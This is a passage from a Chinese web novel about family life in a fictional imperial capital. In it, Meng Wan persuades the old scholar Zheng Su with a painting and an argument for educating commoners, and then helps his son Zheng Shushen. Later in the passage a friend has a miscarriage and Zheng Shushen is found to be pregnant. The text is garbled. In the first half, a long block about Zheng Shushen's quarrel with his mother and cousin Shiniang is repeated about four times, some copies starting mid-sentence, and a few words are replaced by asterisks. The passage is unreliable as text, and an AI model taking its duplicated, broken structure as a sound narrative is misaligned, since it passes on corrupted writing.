孟晚实话实说,“如今也没有什么好法子,阿寻说你和大嫂身体都无异,只是因为哥儿身体构造特殊,所以不易有孕。再加上大嫂之前什么事都憋在心里,心思郁结,这也是有影响的。眼下只能暂且拖一拖郑老夫人让你纳妾的事,多宽慰宽慰大嫂。” 郑老夫人又不是后娘,郑家规矩再多,也知道心疼儿子。若是郑淑慎自己有了孩子,郑老夫人自然就会打消让吴昭远纳妾的想法。 “慎哥儿这次和你去庄子上住回来其实很开心,不若你再带他出去逛逛?”正好避一避家里的长辈。 孟晚一口应下,“这事不难,但是郑伯父和其妻对我感观不是太好,先要让两位改变一番对我的看法,我才好拉大嫂一起出门。” 宋亭舟眉头轻蹙,“我去和老先生说。” 晚儿性情已经是天下绝顶,交友甚广,何必去受郑肃那样老古董的气? “别,你说他也未必听,还是我来吧。”郑肃这样古板的是不会轻易改变看法的,孟晚还要托人家教自己儿子,理当多费点心。 孟晚把他未完成的那幅画画完了,没拿他当礼物给吴家拿去,让枝繁挂去了常金花院里,反而换成当日在太和殿画的那一幅。 当日这幅在大殿上完成的画作本来被皇上用来施威,后被吐蕃国的叶尔羌 王子当作台阶要了去,补上了扣留一半的贡品。 可惜后来乐正崎告发乐正家和吐蕃国图谋不轨,叶尔羌王子当即就被砍断了一只手臂,这幅画自然又回到了孟晚手中。 经历相当传奇了,又得到过皇上的认可,任是郑肃再清高,想必也拒绝不了这么一幅画。 “这画太过贵重,你还是拿回去吧。”郑肃嘴上说着拒绝的话,眼睛却一瞬不瞬的盯着桌子上的长幅画作。 孟晚上手将画卷卷起,故作叹息道:“既然老先生如此,晚辈就不勉强了。” 见他连客气都不客气一下,真的卷起了画卷,郑肃不大的眼睛愣是一瞬间瞪大,随后抽搐了两下撇过头去。 真跟小辈张口要画,比杀了他还难。 孟晚抱着画卷,略显落寞的说:“郑伯父不收晚辈的画可是因为嫌弃晚辈经商?” 之前嫌弃他,觉得他一个官夫郎不安分,行商自轻自贱是真的。这会儿知道了他是项芸之徒,丹青妙手,十分欣赏他的画作也是真的。 郑肃张了张嘴,干巴巴的吐出两个字,“并非。” “郑伯父也看了晚辈的画,我师父当日收我为徒时常说我没有画心,晚辈花了数年光景才知晓画心为何物。”孟晚目露怀念,提前项芸这句话他不是装的。 “丹青一道,流派众多,老夫也知之甚少,不过你画的不错,比项芸强。” 论名声可能项芸更出彩,但论地位,郑肃其实比项芸强上不少,毕竟他门下都是实打实的秀才、举人,乃至进士和在朝为官的官员。 “正肃书院”传承百年,郑肃确实有资格评判几分。 孟晚正色道,“晚辈认为画之一道并没有谁好谁赖的说法,只要是找到了自己画心的画师,画的都是心之所向。” “晚辈这幅画当日在太和殿之所以能一气呵成,便是因为晚辈这一路见识了许多。商户为何可以投机取巧,而农户却只知道卖苦力种地,还经常饥不饱腹呢?” 郑肃其实是不屑于和一个小哥儿谈论这些的,但孟晚那副画算是个敲门砖,让他下意识接了孟晚的话,“商户狡诈,善以少搏多。农户朴实,只能任地主乡绅剥削。” 孟晚追问道:“那为什么那些农户不能为了维护自身利益,而学得像商人那样精明呢?” 郑肃被问住了,农户、商户,这些 在文章策论中仿若固有喻体,众人在文章上挥毫泼墨的时候,他们只是刻板化的符号,而非真实复杂的人群。 农户就是农户,老实诚恳的人群。 是他们生来就愿意做普普通通的庄稼人吗? 不,是因为他们别无选择。 孟晚的问题依旧犀利,“若聪明人的后代才出聪明人,智者的族人方能出现才子,农户的孩子,便只能做农户吗?商人的孩子就必须一辈子行商吗?” 郑肃喉咙干涩,他捧起茶盏饮了一大口,水渍粘湿了他下巴的长须上,他此刻却没空打理,“不……不然也。” 孟晚由浅到深,说到其中厉害之处,“农家子弟,天然就比世家弱势,君子六艺,我夫君读到秀才方才在府学接触到,但世家子弟从小便开始培养,这就是差距。农户家的孩子,未必就甘心地里刨食一辈子,但他们没有别的选择。时间一长,若是朝堂上再有人刻意打压,清流衰败,整个朝廷岂不是世家的一言堂?” 郑肃捏着茶盏的手颤了一颤,“啊?” 难怪四处都在传陛下这两年有意整顿世家,原来朝堂上的形势竟然如此严峻了吗? 孟晚一本正经,神情比郑肃还庄严肃穆,“郑伯父可知世家不是突然耸立,寻常百姓也不是没有逆天改命之机。” 郑肃有点不敢搭话,脑子嗡嗡作响。他到底育学多年,还是竭力让自己镇定下来,“农户虽然处境艰难,但真正有天分的人,只要勤奋刻苦,还是有望出头的。” 孟晚摇头,“只是寥寥可数的几个读书人,怕是改变不了什么,也动摇不得世家的根基。” 郑肃也知道,哪怕江南文风盛行,可每年那么多的进士,又有多少能顺利留在盛京呢?反观勋爵人家的子弟天生就有名额可以进国子监,出来运作一番便是个闲散京官。 布衣耗尽毕生,不过是权贵初始之阶。 “你说的太过妄想,不是常人所求。”郑肃只能这么回孟晚。 孟晚正儿八经的与他辩论,“怎么会不可求呢?黎民皆得书,学识传遍乡野,愚钝之弊自除。可明理辨非,启蒙昧、开智识,免困于愚陋之境。又可育德行、长才干,良善之分自然兴起啊!” “这……这怎么可能?”郑肃觉得孟晚越说越夸张离谱,然而心里对孟晚的好感提升不止一星半点。 能如此深入 的了解百姓困苦,甚至比他一手调教出来的学生还更胜一筹。 尽管孟晚满口白话,辞藻也并不华丽,可言之有物,若是写成锦绣文章,不知有多令人惊叹。 郑肃为自己突然的想法感到惊愕,又恍惚中察觉出孟晚和他扯这么一大篇的用意来。 “怎么不可能呢?孟子曰:自反而缩,虽千万人,吾往矣。” 孟晚甩了句从宋亭舟书本上看到的古文,慷慨激昂地站在郑肃面前说:“难道伯父不想看到禹国上下,人人皆可识礼懂礼,外邦羡慕赞颂的盛景吗?” “愚公移山,叩石垦壤,我们就是前人啊!” 孟晚给别人灌鸡汤已经相当熟练了,连以皇权为尊,理智冷静的太子殿下都能被他忽悠两句。郑肃这般尊崇孔孟之道,以德行和修养服人、用礼仪规范约束自身的老儒生就是手到擒来。 短短两句话而已,郑肃就已经忘了昨天是怎么无视他,直言内眷不可轻易见外男的了。 可见那些迂腐的想法,也不过是清高的读书人,为了彰显自己与众不同,用来约束妇人、贬低商人的手段罢了。 郑肃夫妇对孟晚行商颇有微词,殊不知孟晚心中也带着自己的骄傲。 李白的诗句写《鲁叟谈五经,白发死章句。问以经济策,茫如坠烟雾。》 郑肃满口礼教伦常,与学生高谈阔论天下事,实则连平日的柴火多少钱一担、粮食囤几斗方能过冬都不知。 他们羡慕宋亭舟,却永远不会成为宋亭舟那样的好官,便是因为低不下高高在上的头颅,所以看不到百姓的疾苦。 孟晚大早上登门,郑老夫人因为礼节,早早候在二进的后院了。却一直等不到人,派身边的妈妈到前院打探,也只是听到老太爷在与孟晚畅聊,宋家的俩孩子在旁边听得都快睡着了。 郑老夫人虽然心中疑惑,却不敢轻易打扰夫君,便只能安心等待。 郑淑慎红肿着一双眼睛,心情稍微平复一点,昨夜吴昭远与他坦诚布公的谈到半夜。 两口子将最坏的打算说了,若是真到四十还没有子嗣,便在外买个家世清白的女娘抬进门做妾室。 倘若郑淑慎能怀上,无论哥儿、女娘还是男孩,吴昭远此生绝不纳妾。 其实郑淑慎还未嫁人的时候就做好了出嫁从夫的准备,只是这么多年和吴昭远一直相 敬如宾,吴昭远不提,他便也故作糊涂。 特别是身边祝家、宋家,都是守着正妻过日子,这才给了郑淑慎一种众人都是如此的错觉来。 这次母亲带着诗娘,像是给了郑淑慎当头棒喝,使他一时间难以接受。 嫁给吴昭远六年,他深知对方为人,昭远不好美色,为人正直,他既然这样承诺,便一定会做到。 若是以前,郑淑慎可能愧疚之下会主动帮吴昭远成就好事,但现在,见识了宋亭舟和孟晚两人十几年如一日的感情后,他真能甘心把夫君拱手相让? 郑家的事向来由父亲当家做主,吴昭远又是父亲的爱徒,如今便先靠晚哥儿劝住父亲再说。 晚哥儿行事颇有巧思,他出马一定能行得通! 定下了心,郑淑慎用攥过雪的帕子敷了敷眼睛,坐在母亲身边闭目不言。 郑老夫人心中微痛,有意和儿子搭话,“慎哥儿,你爹向来不爱与后宅之人攀谈,这次怎么留孟夫郎这么久?” 郑淑慎淡淡地说:“娘不也是后宅的人吗?难道多年以来,父亲不与娘说话,只和家里的姨娘吟风弄月?” “你……”郑老夫人脸色难看。 诗娘规劝道:“淑慎哥哥,你怎么能这般和姨母说话呢?姨母生你养你,对你一腔谆谆教诲,妹妹从小母亲早故,不知道有多羡慕你。” 郑淑慎这些日子的不痛快,除了来自于父母,便是这个娇滴滴的姨妹,。他冷着脸:“既然你羡慕,反正你娘家也没人了,不然过继到我们家算了。” 真养到他们郑家,郑家女可是不予人为妾的,养女又不能越过亲子,诗娘便只能嫁秀才举子。 举子一般都早早成婚了,合适的肯定不多,所以诗娘最多嫁个秀才。乡下的穷酸秀才,同吴昭远这样榜眼翰林出身的京官又怎么能比呢? 诗娘拧着帕子不说话了。 郑老夫人各看了两人,到底不能说外人什么,先教训儿子,“我教养你十七年才将你嫁人,你的礼仪教养呢?怎么成了如今这副尖酸刻薄的样子?” 郑淑慎眼眶又开始发热,至亲之人的斥责像一把钝刀,割得他心口生疼。 他吸气缓了两下,刚要说些什么门口就传来孟晚的声音,“郑老夫人这是怎么了?竟然如此动怒?我娘早上还刻意交代,叫我亲自来请您到宋家做客,不知老夫人赏不赏脸?” 他废了半日口舌,终于不负众望博得郑肃好感,让这个老顽固能听得自己一二意见,还顺带解决了旁的小问题。当然,他的画也顺势留在厅堂里。 搞定了郑肃,他夫人和那位姨小姐便不甚重要了。 郑老夫人本是要冷硬拒绝的,但想到昨日孟晚从郑伯母改为现在的郑老夫人,宋大人又和女婿交好,便勉强挤出一抹笑意,“昨日没休息好,略有倦意,况且天色也不早了,还是改天吧。” 孟晚就是在等她这句话,“既然如此我带大嫂去吧,我娘早就说想大嫂了,还准备了他最爱吃的牛乳蒸羊羔。” 郑老夫人一愣,“牛乳蒸羊羔?那是个什么吃法?慎哥儿你不留在家中用膳?娘叫人备了……” 郑淑慎起身疏离的对郑老夫人屈膝行礼,“娘,宋婶婶亲自下了厨叫我,儿子不好推脱,还是让诗娘陪你在家用饭吧。” 敬如宾,吴昭远不提,他便也故作糊涂。 特别是身边祝家、宋家,都是守着正妻过日子,这才给了郑淑慎一种众人都是如此的错觉来。 这次母亲带着诗娘,像是给了郑淑慎当头棒喝,使他一时间难以接受。 嫁给吴昭远六年,他深知对方为人,昭远不好美色,为人正直,他既然这样承诺,便一定会做到。 若是以前,郑淑慎可能愧疚之下会主动帮吴昭远成就好事,但现在,见识了宋亭舟和孟晚两人十几年如一日的感情后,他真能甘心把夫君拱手相让? 郑家的事向来由父亲当家做主,吴昭远又是父亲的爱徒,如今便先靠晚哥儿劝住父亲再说。 晚哥儿行事颇有巧思,他出马一定能行得通! 定下了心,郑淑慎用攥过雪的帕子敷了敷眼睛,坐在母亲身边闭目不言。 郑老夫人心中微痛,有意和儿子搭话,“慎哥儿,你爹向来不爱与后宅之人攀谈,这次怎么留孟夫郎这么久?” 郑淑慎淡淡地说:“娘不也是后宅的人吗?难道多年以来,父亲不与娘说话,只和家里的姨娘吟风弄月?” “你……”郑老夫人脸色难看。 诗娘规劝道:“淑慎哥哥,你怎么能这般和姨母说话呢?姨母生你养你,对你一腔谆谆教诲,妹妹从小母亲早故,不知道有多羡慕你。” 郑淑慎这些日子的不痛快,除了来自于父母,便是这个娇滴滴的姨妹,。他冷着脸:“既然你羡慕,反正你娘家也没人了,不然过继到我们家算了。” 真养到他们郑家,郑家女可是不予人为妾的,养女又不能越过亲子,诗娘便只能嫁秀才举子。 举子一般都早早成婚了,合适的肯定不多,所以诗娘最多嫁个秀才。乡下的穷酸秀才,同吴昭远这样榜眼翰林出身的京官又怎么能比呢? 诗娘拧着帕子不说话了。 郑老夫人各看了两人,到底不能说外人什么,先教训儿子,“我教养你十七年才将你嫁人,你的礼仪教养呢?怎么成了如今这副尖酸刻薄的样子?” 郑淑慎眼眶又开始发热,至亲之人的斥责像一把钝刀,割得他心口生疼。 他吸气缓了两下,刚要说些什么门口就传来孟晚的声音,“郑老夫人这是怎么了?竟然如此动怒?我娘早上还刻意交代,叫我亲自来请您到宋家做客,不知老夫人赏不赏脸?” 他废了半日口舌,终于不负众望博得郑肃好感,让这个老顽固能听得自己一二意见,还顺带解决了旁的小问题。当然,他的画也顺势留在厅堂里。 搞定了郑肃,他夫人和那位姨小姐便不甚重要了。 郑老夫人本是要冷硬拒绝的,但想到昨日孟晚从郑伯母改为现在的郑老夫人,宋大人又和女婿交好,便勉强挤出一抹笑意,“昨日没休息好,略有倦意,况且天色也不早了,还是改天吧。” 孟晚就是在等她这句话,“既然如此我带大嫂去吧,我娘早就说想大嫂了,还准备了他最爱吃的牛乳蒸羊羔。” 郑老夫人一愣,“牛乳蒸羊羔?那是个什么吃法?慎哥儿你不留在家中用膳?娘叫人备了……” 郑淑慎起身疏离的对郑老夫人屈膝行礼,“娘,宋婶婶亲自下了厨叫我,儿子不好推脱,还是让诗娘陪你在家用饭吧。” 敬如宾,吴昭远不提,他便也故作糊涂。 特别是身边祝家、宋家,都是守着正妻过日子,这才给了郑淑慎一种众人都是如此的错觉来。 这次母亲带着诗娘,像是给了郑淑慎当头棒喝,使他一时间难以接受。 嫁给吴昭远六年,他深知对方为人,昭远不好美色,为人正直,他既然这样承诺,便一定会做到。 若是以前,郑淑慎可能愧疚之下会主动帮吴昭远成就好事,但现在,见识了宋亭舟和孟晚两人十几年如一日的感情后,他真能甘心把夫君拱手相让? 郑家的事向来由父亲当家做主,吴昭远又是父亲的爱徒,如今便先靠晚哥儿劝住父亲再说。 晚哥儿行事颇有巧思,他出马一定能行得通! 定下了心,郑淑慎用攥过雪的帕子敷了敷眼睛,坐在母亲身边闭目不言。 郑老夫人心中微痛,有意和儿子搭话,“慎哥儿,你爹向来不爱与后宅之人攀谈,这次怎么留孟夫郎这么久?” 郑淑慎淡淡地说:“娘不也是后宅的人吗?难道多年以来,父亲不与娘说话,只和家里的姨娘吟风弄月?” “你……”郑老夫人脸色难看。 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他吸气缓了两下,刚要说些什么门口就传来孟晚的声音,“郑老夫人这是怎么了?竟然如此动怒?我娘早上还刻意交代,叫我亲自来请您到宋家做客,不知老夫人赏不赏脸?” 他废了半日口舌,终于不负众望博得郑肃好感,让这个老顽固能听得自己一二意见,还顺带解决了旁的小问题。当然,他的画也顺势留在厅堂里。 搞定了郑肃,他夫人和那位姨小姐便不甚重要了。 郑老夫人本是要冷硬拒绝的,但想到昨日孟晚从郑伯母改为现在的郑老夫人,宋大人又和女婿交好,便勉强挤出一抹笑意,“昨日没休息好,略有倦意,况且天色也不早了,还是改天吧。” 孟晚就是在等她这句话,“既然如此我带大嫂去吧,我娘早就说想大嫂了,还准备了他最爱吃的牛乳蒸羊羔。” 郑老夫人一愣,“牛乳蒸羊羔?那是个什么吃法?慎哥儿你不留在家中用膳?娘叫人备了……” 郑淑慎起身疏离的对郑老夫人屈膝行礼,“娘,宋婶婶亲自下了厨叫我,儿子不好推脱,还是让诗娘陪你在家用饭吧。” 敬如宾,吴昭远不提,他便也故作糊涂。 特别是身边祝家、宋家,都是守着正妻过日子,这才给了郑淑慎一种众人都是如此的错觉来。 这次母亲带着诗娘,像是给了郑淑慎当头棒喝,使他一时间难以接受。 嫁给吴昭远六年,他深知对方为人,昭远不好美色,为人正直,他既然这样承诺,便一定会做到。 若是以前,郑淑慎可能愧疚之下会主动帮吴昭远成就好事,但现在,见识了宋亭舟和孟晚两人十几年如一日的感情后,他真能甘心把夫君拱手相让? 郑家的事向来由父亲当家做主,吴昭远又是父亲的爱徒,如今便先靠晚哥儿劝住父亲再说。 晚哥儿行事颇有巧思,他出马一定能行得通! 定下了心,郑淑慎用攥过雪的帕子敷了敷眼睛,坐在母亲身边闭目不言。 郑老夫人心中微痛,有意和儿子搭话,“慎哥儿,你爹向来不爱与后宅之人攀谈,这次怎么留孟夫郎这么久?” 郑淑慎淡淡地说:“娘不也是后宅的人吗?难道多年以来,父亲不与娘说话,只和家里的姨娘吟风弄月?” “你……”郑老夫人脸色难看。 诗娘规劝道:“淑慎哥哥,你怎么能这般和姨母说话呢?姨母生你养你,对你一腔谆谆教诲,妹妹从小母亲早故,不知道有多羡慕你。” 郑淑慎这些日子的不痛快,除了来自于父母,便是这个娇滴滴的姨妹,。他冷着脸:“既然你羡慕,反正你娘家也没人了,不然过继到我们家算了。” 真养到他们郑家,郑家女可是不予人为妾的,养女又不能越过亲子,诗娘便只能嫁秀才举子。 举子一般都早早成婚了,合适的肯定不多,所以诗娘最多嫁个秀才。乡下的穷酸秀才,同吴昭远这样榜眼翰林出身的京官又怎么能比呢? 诗娘拧着帕子不说话了。 郑老夫人各看了两人,到底不能说外人什么,先教训儿子,“我教养你十七年才将你嫁人,你的礼仪教养呢?怎么成了如今这副尖酸刻薄的样子?” 郑淑慎眼眶又开始发热,至亲之人的斥责像一把钝刀,割得他心口生疼。 他吸气缓了两下,刚要说些什么门口就传来孟晚的声音,“郑老夫人这是怎么了?竟然如此动怒?我娘早上还刻意交代,叫我亲自来请您到宋家做客,不知老夫人赏不赏脸?” 他废了半日口舌,终于不负众望博得郑肃好感,让这个老顽固能听得自己一二意见,还顺带解决了旁的小问题。当然,他的画也顺势留在厅堂里。 搞定了郑肃,他夫人和那位姨小姐便不甚重要了。 郑老夫人本是要冷硬拒绝的,但想到昨日孟晚从郑伯母改为现在的郑老夫人,宋大人又和女婿交好,便勉强挤出一抹笑意,“昨日没休息好,略有倦意,况且天色也不早了,还是改天吧。” 孟晚就是在等她这句话,“既然如此我带大嫂去吧,我娘早就说想大嫂了,还准备了他最爱吃的牛乳蒸羊羔。” 郑老夫人一愣,“牛乳蒸羊羔?那是个什么吃法?慎哥儿你不留在家中用膳?娘叫人备了……” 郑淑慎起身疏离的对郑老夫人屈膝行礼,“娘,宋婶婶亲自下了厨叫我,儿子不好推脱,还是让诗娘陪你在家用饭吧。” 敬如宾,吴昭远不提,他便也故作糊涂。 特别是身边祝家、宋家,都是守着正妻过日子,这才给了郑淑慎一种众人都是如此的错觉来。 这次母亲带着诗娘,像是给了郑淑慎当头棒喝,使他一时间难以接受。 嫁给吴昭远六年,他深知对方为人,昭远不好美色,为人正直,他既然这样承诺,便一定会做到。 若是以前,郑淑慎可能愧疚之下会主动帮吴昭远成就好事,但现在,见识了宋亭舟和孟晚两人十几年如一日的感情后,他真能甘心把夫君拱手相让? 郑家的事向来由父亲当家做主,吴昭远又是父亲的爱徒,如今便先靠晚哥儿劝住父亲再说。 晚哥儿行事颇有巧思,他出马一定能行得通! 定下了心,郑淑慎用攥过雪的帕子敷了敷眼睛,坐在母亲身边闭目不言。 郑老夫人心中微痛,有意和儿子搭话,“慎哥儿,你爹向来不爱与后宅之人攀谈,这次怎么留孟夫郎这么久?” 郑淑慎淡淡地说:“娘不也是后宅的人吗?难道多年以来,父亲不与娘说话,只和家里的姨娘吟风弄月?” “你……”郑老夫人脸色难看。 诗娘规劝道:“淑慎哥哥,你怎么能这般和姨母说话呢?姨母生你养你,对你一腔谆谆教诲,妹妹从小母亲早故,不知道有多羡慕你。” 郑淑慎这些日子的不痛快,除了来自于父母,便是这个娇滴滴的姨妹,。他冷着脸:“既然你羡慕,反正你娘家也没人了,不然过继到我们家算了。” 真养到他们郑家,郑家女可是不予人为妾的,养女又不能越过亲子,诗娘便只能嫁秀才举子。 举子一般都早早成婚了,合适的肯定不多,所以诗娘最多嫁个秀才。乡下的穷酸秀才,同吴昭远这样榜眼翰林出身的京官又怎么能比呢? 诗娘拧着帕子不说话了。 郑老夫人各看了两人,到底不能说外人什么,先教训儿子,“我教养你十七年才将你嫁人,你的礼仪教养呢?怎么成了如今这副尖酸刻薄的样子?” 郑淑慎眼眶又开始发热,至亲之人的斥责像一把钝刀,割得他心口生疼。 他吸气缓了两下,刚要说些什么门口就传来孟晚的声音,“郑老夫人这是怎么了?竟然如此动怒?我娘早上还刻意交代,叫我亲自来请您到宋家做客,不知老夫人赏不赏脸?” 他废了半日口舌,终于不负众望博得郑肃好感,让这个老顽固能听得自己一二意见,还顺带解决了旁的小问题。当然,他的画也顺势留在厅堂里。 搞定了郑肃,他夫人和那位姨小姐便不甚重要了。 郑老夫人本是要冷硬拒绝的,但想到昨日孟晚从郑伯母改为现在的郑老夫人,宋大人又和女婿交好,便勉强挤出一抹笑意,“昨日没休息好,略有倦意,况且天色也不早了,还是改天吧。” 孟晚就是在等她这句话,“既然如此我带大嫂去吧,我娘早就说想大嫂了,还准备了他最爱吃的牛乳蒸羊羔。” 郑老夫人一愣,“牛乳蒸羊羔?那是个什么吃法?慎哥儿你不留在家中用膳?娘叫人备了……” 郑淑慎起身疏离的对郑老夫人屈膝行礼,“娘,宋婶婶亲自下了厨叫我,儿子不好推脱,还是让诗娘陪你在家用饭吧。” 第33章 有人欢喜有人忧 “大嫂,郑伯父已经答应了不再插手你们夫夫俩的房里事,你那个姨妹诗娘,过阵子也会送回苏州府嫁人。你在家里若是被她挤兑也不要生气,找我和兰娘谁都成。咱们是长着腿的大活人,难不成还要把自己憋**?”孟晚在马车上宽慰郑淑慎。 他语气洒脱,郑淑慎眉眼间的郁气也随之淡去,“你说的对,昭远和你都已经竭力帮我了,我不该再一蹶不振。” 人一旦看开,心绪平和下来,天大的事便也觉得不甚重要。 在宋家大吃了一顿,郑淑慎还是头一次毫不顾忌的,不用遵从郑家那些条条道道的规矩,想吃什么吃什么,想夹多少夹多少。 回程的路上他身边的侍书给他揉着肚子,“夫郎,这回你不用在床上藏零嘴了吧?” 小时候吃不饱,导致这个习惯一直到他嫁人也还是没改得了,半夜总是偷偷起来吃点东西才能安心睡着。 郑淑慎弯着眼睛笑,“不藏了,再也不藏了。” —— 孟晚之后再去吴家,情况与之前成为鲜明的对比,后宅打个照面,前面跟郑肃交谈两句,待遇摆在这儿,一度差点超越郑肃最喜欢的女婿吴昭远。 郑肃发了话要等气候暖和了把诗娘送回苏州府去,正肃书院未婚的秀才极多,到时候让郑淑慎的两个嫂子,挑个品性好的秀才把诗娘嫁了。 他开了口,郑老夫人也不能反驳。 郑淑慎现在基本上把诗娘当作空气,由着她自己着急上火,每每不懂分寸往吴昭远身上凑,再被吴昭远如洪水猛兽一般躲开。 “家里太小了,住个女眷也不方便,我和慎哥儿商量想再买套两进的宅子。但是我们手里的银钱不多,只好厚颜向弟夫借上一些。”吴昭远无奈的说。 岭南的账还没送到盛京来,但这个冬天盛京的果珍罐依旧卖的火热。 商户们精明,夏天开始果珍罐一批批的制好了只往近前卖,等天气一冷,北方果子只储存几样的时候,再拉着大批的果干和荔枝罐头进京。 这个冬天孟晚不知进账多少,如今只等唐妗霜和那拓忙完这阵子,再把账本和银子送来了。 吴昭远买个两进的宅子也就几百两银子,孟晚随便一套藏品都价值千万两白银了。 他直接叫黄叶去库房取上一千两银子来,“咱们两家之间还谈这些做什么 ,我看你们不若直接换个三进的,免得往后还要换来换去。” 吴昭远对住的地方没有多大需求,郑淑慎却有些心动,“三进的?我和夫君两个人住会不会有些空旷了?” 孟晚有钱后,给家人穿的住的都要好的,不然守着那些钱有什么用? 他对郑淑慎莞尔一笑,“还真没听过谁家是嫌弃地方大的,不然你就二进三进都看看,中意哪个就买哪个喽。” 郑淑慎拉着他到一边坐着,“你之前买宅子不是找过好几个牙行,不如陪我一起看看吧?” 孟晚把桌上的果干递给他,“那我这就叫桂谦去喊牙行的人过来,早点将宅子买了,也省的你那姨妹作妖。” 郑淑慎感动之余又觉得好笑,“我爹那个人最固执了,我真好奇你是怎么说服他的,这两天他连门都不出,整日在家亲自裱画。” 他这话倒是提醒了孟晚,“都说苏裱天工巧夺,乃传世之艺,没想到郑伯父竟然也善此道吗?改日我也去讨教讨教。” 孟晚自己也会裱画,不过技术一般,他之前太忙了,就算忙里偷闲画了幅画,也是找专人装裱起来。此次回京后倒是还算空闲,试着给阿砚随意涂鸦的画做做装裱,还算有趣。 陪郑淑慎看了几天的宅子,以孟晚的财力来办事,只要不是条件特别苛刻的豪宅,其他宅子都好说。 吴昭远现在任翰林院侍读,翰林院是个清净衙门,周边的宅子里住的也基本上都是翰林院的人。 他家现在的位置较为偏僻,是刚入京的时候仓促买下,吴昭远从衙门来去回家并不方便。这次郑淑慎便决定在翰林院附近买,哪怕贵上一些也无妨。 最后看中了一座三进的小院,离翰林院只隔着两条街,方方正正的,是巷子里最里头的一座院子,格外清净。就是里头有败破的地方,需要动工修整几处。 买了这套宅子不仅掏光吴昭远的家底,郑淑慎还在孟晚手里借了三百两银子。 孟晚知道他们手里没什么钱了,就包了帮他们修缮宅子的活计,祝泽宁则张罗着给他们打套新的家具。 寻了个好日子,吴昭远夫夫俩便迫不及待的搬了家,郑老夫人见他们不顾新宅还在修缮,就这么着急搬走,心里说不难受是不可能的。 她一心为儿子和儿婿打算,实在不知道自己何错之有,竟令亲生儿子退避三舍,心中已是郁 郁。 暖房的时候孟晚也给他们添了几样家具,还有一套他亲自画的屏风,是幅“石榴图”,寓意多子多福。郑淑慎很喜欢,当即叫人搬去了卧房。 “兰娘怎么没来?”孟晚问向独自前来的祝泽宁。 年后三叔带着弟弟又出远门了,如今石见驿站的事多是三叔主持,那拓和余彦东各管一摊子。 祝泽宁神色倒是没什么异样,牵着女儿进来,将其放在榻上,“她这两天不大舒服,让我同大嫂告罪一声。” “不舒服好好歇着是正理,可请了郎中?”郑淑慎问道。 孟晚帮琼娘把鞋子脱了,让她坐到里面去,“不然我叫阿寻去你家给兰娘看看吧?” 祝泽宁下巴上挂着一小撮黑色胡子,咧开嘴笑了笑,“不用了,没什么大毛病,她还说过两天好了找你们一起去宝光斋给琼娘打首饰呢?” 但凡有点家底的人家,女娘和小哥儿的嫁妆都是从小就要开始积攒的,这样等及笄礼之后,准备定亲、成婚,才不会手忙脚乱。 郑淑慎双手一摊,眼睛带笑,“听人说宝光斋的首饰都极为精巧,我早就想去见识一番了,可惜现在两手空空,也只能观赏观赏。” 和宋亭舟在一旁说话的吴昭远闻言打趣道:“晚哥儿,不然你再借你大嫂几十两吧,好歹让他买支珠钗回来。” 郑淑慎羞恼道:“你还是当大哥的,说得什么浑话,也不怕他们笑话。” 吴昭远发出一阵清朗的笑声,“夫郎莫怪,这叫债多不压身,我说的也是真的,你有看中的只管先让晚哥儿给你垫上。能者多劳,正旦宴上晚哥儿在御前作画的事被外头传的沸沸扬扬,都有人问到我这里来求画了,等日后晚哥儿的画值千金,可不得救济救济咱家这门穷亲戚吗?” 许是搬出气氛压抑的旧居,不同长辈一同居住,连向来内敛的吴昭远都豁然开朗。 谁都能看出来,他和郑淑慎的之间比起曾经的相敬如宾,如今更添了几分温情。 虽然祝泽宁说了兰娘无大事,第二天孟晚和郑淑慎还是去了祝家一趟。 兰娘躺在火炕上,孟晚瞥见床上也有一套被褥,整整齐齐的叠着,许是祝泽宁的。 “不是什么大毛病,哪儿值得你们大老远跑过来一趟。”兰娘依着被子,脸色有些苍白,但精神还算不错。 枝 繁和侍书各搬了个绣凳给自家主子坐,孟晚坐在兰娘床边,“我们俩坐着马车来,又不费什么事儿。倒是你,怎么说病就病倒了?” 郑淑慎附和道:“就是,病了怎么不早说话。” 兰娘先是笑笑,随后眼睛半垂下去,像是有些伤心,“说病也不是病,前些日子我小产了。” 孟晚大惊,“也没听你说有了身孕,怎么突然就小产了?”他心里琢磨着那就是去沐泉庄之前有的,不会是他把人家兰娘带去庄子,把人给累得小产了吧? 兰娘可能已经伤心过一场,这会儿虽然难受,但是已经能控制情绪,好好和孟晚与郑淑慎说话,“自打我生了琼娘后,葵水一直不大准,也是不知道有孕的,前两天小腹一直坠涨隐痛,再找大夫已经来不及了。” 郑淑慎最是想要孩子,也能切身体会兰娘之痛,叹息了一声劝道:“你还年轻,女娘又比哥儿易孕,往后还会有的。” 孟晚则是说:“我还是把阿寻叫过来帮你看看吧。”兰娘身体康健,也没什么娘胎里带来的弱症,孩子怎么会说没就没了呢? 第二天阿寻过去看过,与祝家找的郎中说的倒是相同,兰娘身体只是因为小产才有些虚弱,并无其他异常。 孟晚和郑淑慎又去看她两回,孟晚给家里的药材补品都送过去了一些。 兰娘在家坐小月子,郑淑慎便时常去宋家找孟晚闲叙一番。 顺天府在皇宫北面,翰林院在皇宫西侧,郑淑慎选宅子的时候便有意向孟晚他们家靠拢,虽说还是不算太近,好歹比之前去一趟路上就要耗费一两个时辰要强,因此搬家后郑淑慎隔三差五就来宋家串门。 与孟晚这样性子通透说话好听的人相处,永远不会觉得约束难受。再加上同吴昭远感情日益升温,郑淑慎只觉得浑身舒畅,看着外头暗沉下来的天色都觉得像浸了墨汁的棉花团子,怪可爱的。 孟晚瞅着面前的空盘子默默无言,整整一盘的酸枣糕啊!光是看着他都牙酸。 “大嫂你这……是不是有了?” 郑淑慎自己还并无意识,只是觉得好吃。听到孟晚这么一问,他整个人都愣住了,手足无措的放下最后一块糕点,“可是,我并无难受呕吐啊?” 孟晚记得当时离开盛京前,聂知遥也是天天的吃那酸不拉几的酸梅子,之后没多久就给他写信说有了。 “不行, 走咱们去我娘院里叫阿寻看看去。”这么吃要吓死个人了。 阿寻和楚辞外出回来被叫了过来,给心中七上八下的郑淑慎把脉。 常金花在一旁小声和孟晚说:“也不一定怀了就一定有要吐的,有的妇人哥儿怀孕一切照旧,哥儿又不像女娘还有葵水,更难发觉。如你一般又吐又头晕的吐了好几个月的,实则不多。” 孟晚心里已经觉得郑淑慎十有**了,也在旁边跟着紧张,听常金花提及自己当时的情况,颇觉命运不公,凭啥让他比旁人多遭罪? 阿寻实际在摸上去的第一瞬就已经摸到了滑脉,但因为这个孩子对郑淑慎格外重要,所以又仔仔细细的又探了一会儿才确定下来。 郑淑慎当即落泪,哄也哄不住,劝也劝不好那种,孟晚都束手无策。直到阿寻说孕夫情绪太大,会影响胎元,郑淑慎这才努力止住了泪水。 